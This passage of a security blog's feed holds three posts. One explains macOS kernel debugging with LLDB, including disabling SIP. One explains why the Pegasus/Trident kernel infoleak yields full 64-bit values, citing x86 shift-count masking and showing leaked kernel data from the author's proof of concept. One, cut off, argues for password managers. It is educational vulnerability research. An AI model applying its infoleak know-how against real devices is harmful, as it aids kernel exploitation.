&lt;p&gt;When booting the VM, hit F12, and select &lt;em&gt;Boot Manager&lt;/em&gt;&lt;span  class=&#34;math&#34;&gt;\(\rightarrow\)&lt;/span&gt;&lt;em&gt;EFI
Internal Shell&lt;/em&gt;. You will be greeted by an EFI shell. To boot into recovery,
type:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;FS2:\com.apple.recovery.boot\boot.efi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Once the recovery GUI loads, launch a terminal, move the target kernels, then
invalidate the kextcache.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;# mv /path/to/kernels/kernel.development /System/Library/Kernels
# kextcache -invalidate /Volumes/Macintosh\ HD
# reboot
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Before reboot, you can optionally disable SIP if desired.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;# csrutil disable
Successfully disabled System Integrity Protection. Please restart the machine for the changes to take effect.
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;sourcelevel-debugging&#34;&gt;Source-level Debugging&lt;/h2&gt;

&lt;p&gt;Download the &lt;a href=&#34;https://opensource.apple.com&#34;&gt;XNU source code&lt;/a&gt; corresponding to
the debuggee XNU version. To gain source-level debugging, LLDB will look in
&lt;code&gt;/Library/Caches/com.apple.xbs/Sources/xnu/xnu-...&lt;/code&gt; for the kernel source. You
can either place the downloaded source there, or create a symlink there that
points to the source. Alternatively, you can also set &lt;code&gt;target.source-map&lt;/code&gt; in
LLDB.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;lldb&amp;gt; settings set target.source-map /Library/Caches/com.apple.xbs/Sources/xnu/xnu-3789.1.32 /Users/kedy/Downloads/xnu-3789.1.32
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Previous versions of macOS like Yosemite, you had to place source code in
&lt;code&gt;/SourceCache/xnu/&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&#34;setting-up-lldb&#34;&gt;Setting up LLDB&lt;/h2&gt;

&lt;p&gt;Finally now, we can break out the debugger. The example below sets the target
file to the RELEASE kernel build.&lt;/p&gt;

&lt;p&gt;To use the XNU LLDB macros in Sierra KDK, the &lt;code&gt;macholib&lt;/code&gt; Python module is
required now. A simple &lt;code&gt;pip install macholib&lt;/code&gt; should do the trick. To use the
nifty LLDB macros, copy paste the KDK debug script command that is prompted
when you first set the target file to a KDK kernel.&lt;/p&gt;

&lt;p&gt;After triggering an NMI (or waiting for debugger to halt the boot process if
you chose &lt;code&gt;DB_HALT&lt;/code&gt; flag), connect to the debugee with the command &lt;code&gt;kdp-remote
&amp;lt;ip&amp;gt;&lt;/code&gt; where &lt;code&gt;&amp;lt;ip&amp;gt;&lt;/code&gt; is the IP address (localhost if you used the NAT port
forwarding).&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;$ lldb /Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel
(lldb) target create &amp;quot;/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel&amp;quot;
warning: &#39;kernel&#39; contains a debug script. To run this script in this debug session:

    command script import &amp;quot;/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/kernel.py&amp;quot;

To run all discovered debug scripts in this session:

    settings set target.load-script-from-symbol-file true

Current executable set to &#39;/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel&#39; (x86_64).
(lldb) command script import &amp;quot;/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/kernel.py&amp;quot;
Loading kernel debugging from /Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/kernel.py
LLDB version lldb-370.0.40
  Swift-3.1
settings set target.process.python-os-plugin-path &amp;quot;/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/lldbmacros/core/operating_system.py&amp;quot;
settings set target.trap-handler-names hndl_allintrs hndl_alltraps trap_from_kernel hndl_double_fault hndl_machine_check _fleh_prefabt _ExceptionVectorsBase _ExceptionVectorsTable _fleh_undef _fleh_dataabt _fleh_irq _fleh_decirq _fleh_fiq_generic _fleh_dec
command script import &amp;quot;/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/lldbmacros/xnu.py&amp;quot;
xnu debug macros loaded successfully. Run showlldbtypesummaries to enable type summaries.


(lldb) kdp-remote 192.168.149.184
Version: Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64; UUID=17EA3101-D2E4-31BF-BDA9-931F51049F93; stext=0xffffff8007a00000
Kernel UUID: 17EA3101-D2E4-31BF-BDA9-931F51049F93
Load Address: 0xffffff8007a00000
Kernel slid 0x7800000 in memory.
Loaded kernel file /Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel
Target arch: x86_64
Instantiating threads completely from saved state in memory.
Loading 82 kext modules warning: Can&#39;t find binary/dSYM for com.apple.kec.corecrypto (491718F5-B509-31DC-92B5-6BAC95E3F494)
.warning: Can&#39;t find binary/dSYM for com.apple.kec.pthread (0888BA0A-49EE-394A-AEB1-1E5C6838A1F2)

(omitted...)

. done.
kernel was compiled with optimization - stepping may behave oddly; variables may not be available.
Process 1 stopped
* thread #2, name = &#39;0xffffff800db8b000&#39;, queue = &#39;0x0&#39;, stop reason = signal SIGSTOP
    frame #0: 0xffffff8007bd655e kernel`Debugger(message=&amp;lt;unavailable&amp;gt;) at model_dep.c:1020 [opt]
   1017
   1018		doprnt_hide_pointers = old_doprnt_hide_pointers;
   1019		__asm__(&amp;quot;int3&amp;quot;);
-&amp;gt; 1020		hw_atomic_sub(&amp;amp;debug_mode, 1);
   1021	}
   1022
   1023	char *
(lldb)  
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Voila, source-level debugging macOS kernel!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>A Shifty Detail in Pegasus</title>
      <link>https://klue.github.io/blog/2017/03/pegasus_shift/</link>
      <pubDate>Tue, 07 Mar 2017 00:00:00 +0000</pubDate>
      
      <guid>https://klue.github.io/blog/2017/03/pegasus_shift/</guid>
      <description>&lt;p&gt;Late last year,
&lt;a href=&#34;https://blog.lookout.com/blog/2016/08/25/trident-pegasus/&#34;&gt;Pegasus&lt;/a&gt; received
all the buzz in the macOS/iOS scene. The spyware was used by nation state
actors, targeting human rights defender Ahmed Mansoor. Developed by NSO Group
in Israel, the malware is usually introduced via a &lt;a href=&#34;https://citizenlab.org/2017/02/bittersweet-nso-mexico-spyware/&#34;&gt;malicious link through text
message&lt;/a&gt;, and
is capable of gaining remote kernel code execution on the target iOS device&#39;s
before jailbreaking and installing itself onto the victim device.&lt;/p&gt;

&lt;p&gt;Pegasus leverages 3 vulnerabilities collectively known as Trident-- a webkit
memory corruption, a kernel infoleak, and another memory corruption in the
kernel. &lt;a href=&#34;http://jndok.github.io/2016/10/04/pegasus-writeup/&#34;&gt;Countless&lt;/a&gt;
&lt;a href=&#34;https://jaq.alibaba.com/community/art/show?articleid=532&#34;&gt;posts&lt;/a&gt; have been
posted accompanied with proof-of-concepts for the kernel portion of Trident.
This post isn&#39;t going to cover the details of the kernel exploits chain like
the others. Instead, I just wanted to highlight and explain a minor detail in
the infoleak portion that could cause some confusion.&lt;/p&gt;

&lt;p&gt;Recall that the infoleak vulnerability resided in &lt;code&gt;OSUnserializeBinary&lt;/code&gt;&#39;s big
switch case for &lt;code&gt;kOSSerializeNumber&lt;/code&gt; where &lt;code&gt;len&lt;/code&gt; is passed to initialize an
&lt;code&gt;OSNumber&lt;/code&gt;, but is never checked.
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;    &lt;span style=&#34;color:#a90d91&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;kOSSerializeNumber&lt;/span&gt;:
        &lt;span style=&#34;color:#000&#34;&gt;bufferPos&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#a90d91&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#a90d91&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a90d91&#34;&gt;long&lt;/span&gt;);
        &lt;span style=&#34;color:#a90d91&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#000&#34;&gt;bufferPos&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;bufferSize&lt;/span&gt;) &lt;span style=&#34;color:#a90d91&#34;&gt;break&lt;/span&gt;;
        &lt;span style=&#34;color:#000&#34;&gt;value&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;next&lt;/span&gt;[&lt;span style=&#34;color:#1c01ce&#34;&gt;1&lt;/span&gt;];
        &lt;span style=&#34;color:#000&#34;&gt;value&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;&amp;lt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#1c01ce&#34;&gt;32&lt;/span&gt;;
        &lt;span style=&#34;color:#000&#34;&gt;value&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;|=&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;next&lt;/span&gt;[&lt;span style=&#34;color:#1c01ce&#34;&gt;0&lt;/span&gt;];
        &lt;span style=&#34;color:#000&#34;&gt;o&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;OSNumber&lt;/span&gt;&lt;span style=&#34;color:#000&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#000&#34;&gt;withNumber&lt;/span&gt;(&lt;span style=&#34;color:#000&#34;&gt;value&lt;/span&gt;, &lt;span style=&#34;color:#000&#34;&gt;len&lt;/span&gt;);
        &lt;span style=&#34;color:#000&#34;&gt;next&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#1c01ce&#34;&gt;2&lt;/span&gt;;
        &lt;span style=&#34;color:#a90d91&#34;&gt;break&lt;/span&gt;;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;Digging deeper down, we can see exactly how an &lt;code&gt;OSNumber&lt;/code&gt; is initialized when
going through &lt;code&gt;OSUnserializeBinary&lt;/code&gt;. In the snippet below, the actual value of
the &lt;code&gt;OSNumber&lt;/code&gt; is obtained through the provided value logical anded with the
&lt;code&gt;sizeMask&lt;/code&gt;. The &lt;code&gt;sizeMask&lt;/code&gt; is a pound defined value in the beginning of the
file that that basically just masks out any bits not used by our value.
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;color:#633820&#34;&gt;#define sizeMask (~0ULL &amp;gt;&amp;gt; (64 - size))
&lt;/span&gt;&lt;span style=&#34;color:#633820&#34;&gt;&lt;/span&gt;
&lt;span style=&#34;color:#a90d91&#34;&gt;bool&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;OSNumber&lt;/span&gt;&lt;span style=&#34;color:#000&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#000&#34;&gt;init&lt;/span&gt;(&lt;span style=&#34;color:#a90d91&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#a90d91&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a90d91&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;inValue&lt;/span&gt;, &lt;span style=&#34;color:#a90d91&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#a90d91&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;newNumberOfBits&lt;/span&gt;)
{
    &lt;span style=&#34;color:#a90d91&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#000&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#000&#34;&gt;super&lt;/span&gt;&lt;span style=&#34;color:#000&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#000&#34;&gt;init&lt;/span&gt;())
        &lt;span style=&#34;color:#a90d91&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a90d91&#34;&gt;false&lt;/span&gt;;

    &lt;span style=&#34;color:#000&#34;&gt;size&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;newNumberOfBits&lt;/span&gt;;
    &lt;span style=&#34;color:#000&#34;&gt;value&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#000&#34;&gt;inValue&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;sizeMask&lt;/span&gt;);

    &lt;span style=&#34;color:#a90d91&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a90d91&#34;&gt;true&lt;/span&gt;;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;As I was trying to understand the Trident infoleak, I couldn&#39;t wrap my head
around how everyone was able to leak the return address of
&lt;code&gt;is_io_registry_entry_get_property_bytes&lt;/code&gt; and, in addition, leak the &lt;code&gt;OSNumber&lt;/code&gt;
value using a &lt;code&gt;len&lt;/code&gt; of &lt;code&gt;0x200&lt;/code&gt;. For example, the output below is from my &lt;a href=&#34;https://github.com/klue/pegasus_kernel&#34;&gt;PoC
exploit&lt;/a&gt;.
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;[.] leaked data:
    0x4242424241414141 &amp;lt;-- OSNumber value
    0xffffff802c274584
    0xffffff802c76c400
    0x4
    0xffffff80296245a0
    0xffffff802c2745b4
    0xffffff887e9e3e30
    0xffffff801ed962cf &amp;lt;-- return address&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;Quoting the &lt;a href=&#34;http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4296.pdf&#34;&gt;C++ standard (2014 draft) chapter
5.8&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The &lt;strong&gt;behavior is undefined&lt;/strong&gt; if the right operand is &lt;strong&gt;negative&lt;/strong&gt;, or
greater than or equal to the length in bits of the promoted left operand.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Just to do a quick test, I ran
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;$ cat foo.cpp
&lt;span style=&#34;color:#177500&#34;&gt;#include &amp;lt;stdio.h&amp;gt;
&lt;/span&gt;&lt;span style=&#34;color:#177500&#34;&gt;&lt;/span&gt;
int main&lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;int argc, char **argv&lt;span style=&#34;color:#000&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;{&lt;/span&gt;
    printf&lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#c41a16&#34;&gt;&amp;#34;%#llx\n&amp;#34;&lt;/span&gt;, ~0ULL &amp;gt;&amp;gt; &lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;0x40 - 0x200&lt;span style=&#34;color:#000&#34;&gt;))&lt;/span&gt;;

    &lt;span style=&#34;color:#a90d91&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#1c01ce&#34;&gt;0&lt;/span&gt;;
&lt;span style=&#34;color:#000&#34;&gt;}&lt;/span&gt;
$ ./foo
0x7fff5a1fa6b8
$ ./foo
0x7fff532f26b8
$ ./foo
0x7fff5db0c6b8&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;So naturally, I thought that the leaked data that corresponded to the
&lt;code&gt;OSNumber&lt;/code&gt; value would just be garbage, but this was not what I was seeing. I
was seeing the whole 64 bits of constructed data. Perplexed but intrigued, I
decided to get to the bottom of this even though it doesn&#39;t really matter for
the actual exploit.&lt;/p&gt;

&lt;p&gt;Shortly after I wrote the test program above, I realized that the compiler
might have optimized the program to not include the shift. If you disassemble
it, you can confirm that&#39;s indeed the case. Whatever was in the counter
register is actually passed as the second parameter of &lt;code&gt;printf&lt;/code&gt; which is why it
looks like we&#39;re printing stack addresses. Instead of writing another test
program, I decided to just take a look at the disassembled &lt;code&gt;OSNumber::init&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;figure&gt;&lt;img src=&#34;https://klue.github.io/images/pegasus_shift-disass_osnumber_init.png&#34; alt=&#34;Disassembly of OSNumber::init(unsigned long long, unsigned int)&#34;&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;Here, &lt;code&gt;edx&lt;/code&gt; is &lt;code&gt;newNumberOfBits&lt;/code&gt; which is assigned to &lt;code&gt;size&lt;/code&gt;. &lt;code&gt;ecx&lt;/code&gt; is &lt;code&gt;0x40&lt;/code&gt;
(64 decimal). &lt;code&gt;ecx&lt;/code&gt; subtracts our size &lt;code&gt;edx&lt;/code&gt;, and the least significant byte
becomes our shift count. After the subtraction, &lt;code&gt;ecx&lt;/code&gt; should become
&lt;code&gt;0xfffffe40&lt;/code&gt; (0x40-0x200), and thus &lt;code&gt;cl&lt;/code&gt; becomes &lt;code&gt;0x40&lt;/code&gt; which is exactly the
bit length of an unsigned long long. Still, intuition would say that logical
right shift of the whole bit length would result in 0.&lt;/p&gt;

&lt;p&gt;The behavior we&#39;re seeing is quickly explained when we look at &lt;a href=&#34;https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf&#34;&gt;Intel 64 and
IA-32 architectures software developer&#39;s
manual&lt;/a&gt;&#39;s
section about SAL/SAR/SHL/SHR.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The count operand can be an immediate value or the CL register. The &lt;strong&gt;count
is masked to 5 bits (or 6 bits if in 64-bit mode and REX.W is used&lt;/strong&gt;). The
count range is limited to 0 to 31 (or 63 if 64-bit mode and REX.W is used). A
special opcode encoding is provided for a count of 1.&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;In 64-bit mode, the instruction&#39;s default operation size is 32 bits and the
mask width for CL is 5 bits. Using a REX prefix in the form of REX.R permits
access to additional registers (R8-R15). Using a REX prefix in the form of
&lt;strong&gt;REX.W promotes operation to 64-bits and sets the mask width for CL to 6
bits&lt;/strong&gt;. See the summary chart at the beginning of this section for encoding
data and limits.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Indeed, the corresponding opcode is &lt;code&gt;48 D3 E8&lt;/code&gt; which has the &lt;a href=&#34;http://wiki.osdev.org/X86-64_Instruction_Encoding#Encoding&#34;&gt;REX.W
prefix&lt;/a&gt;. Masking 6
bits means that an Intel processor will shift at most &lt;span  class=&#34;math&#34;&gt;\(2^6-1=63\)&lt;/span&gt; bits before
cycling back to 0 shift count.&lt;/p&gt;

&lt;p&gt;Modifying our original test program slightly, we can see this exact behavior.
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;$ cat foo.cpp
&lt;span style=&#34;color:#177500&#34;&gt;#include &amp;lt;stdio.h&amp;gt;
&lt;/span&gt;&lt;span style=&#34;color:#177500&#34;&gt;#include &amp;lt;stdlib.h&amp;gt;
&lt;/span&gt;&lt;span style=&#34;color:#177500&#34;&gt;&lt;/span&gt;
int main&lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;int argc, char **argv&lt;span style=&#34;color:#000&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;{&lt;/span&gt;
    printf&lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#c41a16&#34;&gt;&amp;#34;%#llx\n&amp;#34;&lt;/span&gt;, ~0ULL &amp;gt;&amp;gt; &lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;0x40 - atoi&lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;argv&lt;span style=&#34;color:#000&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#1c01ce&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#000&#34;&gt;])))&lt;/span&gt;;

    &lt;span style=&#34;color:#a90d91&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#1c01ce&#34;&gt;0&lt;/span&gt;;
&lt;span style=&#34;color:#000&#34;&gt;}&lt;/span&gt;
$ &lt;span style=&#34;color:#a90d91&#34;&gt;for&lt;/span&gt; i in &lt;span style=&#34;color:#c41a16&#34;&gt;`&lt;/span&gt;seq &lt;span style=&#34;color:#1c01ce&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#1c01ce&#34;&gt;70&lt;/span&gt;&lt;span style=&#34;color:#c41a16&#34;&gt;`&lt;/span&gt;; &lt;span style=&#34;color:#a90d91&#34;&gt;do&lt;/span&gt; &lt;span style=&#34;color:#a90d91&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#000&#34;&gt;$i&lt;/span&gt;: &lt;span style=&#34;color:#c41a16&#34;&gt;`&lt;/span&gt;./foo &lt;span style=&#34;color:#000&#34;&gt;$i&lt;/span&gt;&lt;span style=&#34;color:#c41a16&#34;&gt;`&lt;/span&gt;; &lt;span style=&#34;color:#a90d91&#34;&gt;done&lt;/span&gt;
&lt;span style=&#34;color:#1c01ce&#34;&gt;0&lt;/span&gt;: 0xffffffffffffffff
&lt;span style=&#34;color:#1c01ce&#34;&gt;1&lt;/span&gt;: 0x1
&lt;span style=&#34;color:#1c01ce&#34;&gt;2&lt;/span&gt;: 0x3
&lt;span style=&#34;color:#1c01ce&#34;&gt;3&lt;/span&gt;: 0x7
...
&lt;span style=&#34;color:#1c01ce&#34;&gt;60&lt;/span&gt;: 0xfffffffffffffff
&lt;span style=&#34;color:#1c01ce&#34;&gt;61&lt;/span&gt;: 0x1fffffffffffffff
&lt;span style=&#34;color:#1c01ce&#34;&gt;62&lt;/span&gt;: 0x3fffffffffffffff
&lt;span style=&#34;color:#1c01ce&#34;&gt;63&lt;/span&gt;: 0x7fffffffffffffff
&lt;span style=&#34;color:#1c01ce&#34;&gt;64&lt;/span&gt;: 0xffffffffffffffff
&lt;span style=&#34;color:#1c01ce&#34;&gt;65&lt;/span&gt;: 0x1
&lt;span style=&#34;color:#1c01ce&#34;&gt;66&lt;/span&gt;: 0x3
&lt;span style=&#34;color:#1c01ce&#34;&gt;67&lt;/span&gt;: 0x7
&lt;span style=&#34;color:#1c01ce&#34;&gt;68&lt;/span&gt;: 0xf
&lt;span style=&#34;color:#1c01ce&#34;&gt;69&lt;/span&gt;: 0x1f
&lt;span style=&#34;color:#1c01ce&#34;&gt;70&lt;/span&gt;: 0x3f&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;In hindsight, shifting 0 bits obviously should produce &lt;code&gt;0xffffffffffffffff&lt;/code&gt; and
using 6 bit mask for 64 bit length also obviously makes sense. None of this has
any bearing on the Pegasus/Trident infoleak portion as long as the length is
greater or equal to 512; I just found this minor detail interesting.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How to think about password managers</title>
      <link>https://klue.github.io/blog/2017/03/password_manager/</link>
      <pubDate>Thu, 02 Mar 2017 00:00:00 +0000</pubDate>
      
      <guid>https://klue.github.io/blog/2017/03/password_manager/</guid>
      <description>&lt;p&gt;There exist numerous methods to authenticate a user to a system, but using only passwords continues to be the dominating choice [&lt;a href=&#34;#foot&#34;&gt;1&lt;/a&gt;, &lt;a href=&#34;#foot&#34;&gt;2&lt;/a&gt;]. Under these circumstances, ideally, a user would have strong, unique passwords for each account that he or she has. However, this is an unrealistic expectation for the average human being. Thus largely, the general population uses a handful of weak passwords for all of their user accounts.[&lt;a href=&#34;#foot&#34;&gt;3&lt;/a&gt;, &lt;a href=&#34;#foot&#34;&gt;4&lt;/a&gt;, &lt;a href=&#34;#foot&#34;&gt;5&lt;/a&gt;, &lt;a href=&#34;#foot&#34;&gt;6&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;At an attempt to alleviate this problem, password managers were introduced. A password manager is a program that stores and organizes all of a user&#39;s passwords. Access to a user&#39;s passwords in the password manager typically requires knowledge of a &amp;quot;master password.&amp;quot; This pushes the burden of remembering strong, unique passwords from the human user to a software application.&lt;/p&gt;

&lt;p&gt;Fairly often, the topic will come up whether to use a password manager or not. It is argued back and forth. In my opinion, password managers are one of the best things since sliced bread. There&#39;s no better feeling than using a random 50 character password or using &lt;code&gt;openssl rand -base64 5&lt;/code&gt; output as an answer to a security question (I use 5 bytes because if I want to get anything done with a support line over the phone, it&#39;s more realistic to spell out a 7 character string than 50 character string).&lt;/p&gt;

&lt;p&gt;I&#39;ve noticed, though, that many tech savvy people are reluctant to adopt such a technology. I know plenty of &lt;em&gt;security professionals&lt;/em&gt; that use either the same password for all accounts or use a handful of passwords in a tiered fashion (one password for important accounts, another for less sensitive accounts, another for the ones they care about even less, and so on). The average non-technical person, in my experience, is quick to adopt password managers once they discover such apps, but it&#39;s frustrating to me how information security professionals are so stubborn to do the same.&lt;/p&gt;

&lt;p&gt;The biggest excuse I hear is probably &amp;quot;I don&#39;t want all my eggs in one basket,&amp;quot; though there are others &lt;a href=&#34;#foot&#34;&gt;[7]&lt;/a&gt;. At first, this tradeoff makes it unclear whether using a password manager is any safer than the traditional method of memorization. To tackle this problem, we really need to change the way we think about password managers. They shouldn&#39;t be thought of as &amp;quot;password vaults,&amp;quot; but &amp;quot;password strengtheners.&amp;quot; Here, I will describe the proper way to utilize password managers such that they are &lt;em&gt;in theory no less safe than using pure memorization.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Assume user Alice is currently using a 2-tier password scheme with the passwords &lt;span  class=&#34;math&#34;&gt;\(P_1\)&lt;/span&gt; for important accounts (email, bank) and &lt;span  class=&#34;math&#34;&gt;\(P_2\)&lt;/span&gt; for the rest of her accounts. In this scenario, we will require Alice to come up with a separate master password. The strength of the master password does not actually matter as our proof does not rely on it.&lt;/p&gt;

&lt;p&gt;To login to her bank account, Alice should take the password entry in the password manager for her bank account, and incorporate it with her password &lt;span  class=&#34;math&#34;&gt;\(P_1\)&lt;/span&gt;. &amp;quot;Incorporate&amp;quot; entails somehow merging the two -- most likely prepending or appending the entry to &lt;span  class=&#34;math&#34;&gt;\(P_1\)&lt;/span&gt;. The idea is the password entry in her password manager adds to the strength and complexity of her original password &lt;span  class=&#34;math&#34;&gt;\(P_1\)&lt;/span&gt;. A similar method should also be adopted for accounts with password &lt;span  class=&#34;math&#34;&gt;\(P_2\)&lt;/span&gt;.&lt;/p&gt;

&lt;p&gt;Notice how other than retrieving the password from the password manger, the way Alice uses her passwords does not need to change. As we have seen she still &amp;quot;uses&amp;quot; password &lt;span  class=&#34;math&#34;&gt;\(P_1\)&lt;/span&gt; for important accounts and can use &lt;span  class=&#34;math&#34;&gt;\(P_2\)&lt;/span&gt; for less sensitive accounts. The password manager passwords merely strengthened her original passwords.&lt;/p&gt;

&lt;p&gt;Now, let&#39;s revisit the &amp;quot;eggs in one basket&amp;quot; problem again. There are two scenarios:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Alice&#39;s password vault is somehow compromised (e.g. LastPass vendor compromise &lt;a href=&#34;#foot&#34;&gt;[8]&lt;/a&gt; or Tavis Ormandy ;) &lt;a href=&#34;#foot&#34;&gt;[9]&lt;/a&gt;). In this case, the strength of her passwords falls back to the original strength of &lt;span  class=&#34;math&#34;&gt;\(P_1\)&lt;/span&gt; for important accounts and &lt;span  class=&#34;math&#34;&gt;\(P_2\)&lt;/span&gt; for the rest of her accounts.&lt;/li&gt;
&lt;li&gt;Alice&#39;s computer is compromised, e.g. infected with malware. In this case, we can assume the password vault would also be compromised since it just takes unlocking it once for malware to log the master password. At this point, the security of her accounts, password-wise, is in the same state as it was in situation 1. We can thus conclude, again, that the strength of her passwords falls back to &lt;span  class=&#34;math&#34;&gt;\(P_1\)&lt;/span&gt; or &lt;span  class=&#34;math&#34;&gt;\(P_2\)&lt;/span&gt; (that, and both &lt;span  class=&#34;math&#34;&gt;\(P_1\)&lt;/span&gt; and &lt;span  class=&#34;math&#34;&gt;\(P_2\)&lt;/span&gt; are logged by the malware once she attempts to logging into accounts).&lt;/li&gt;
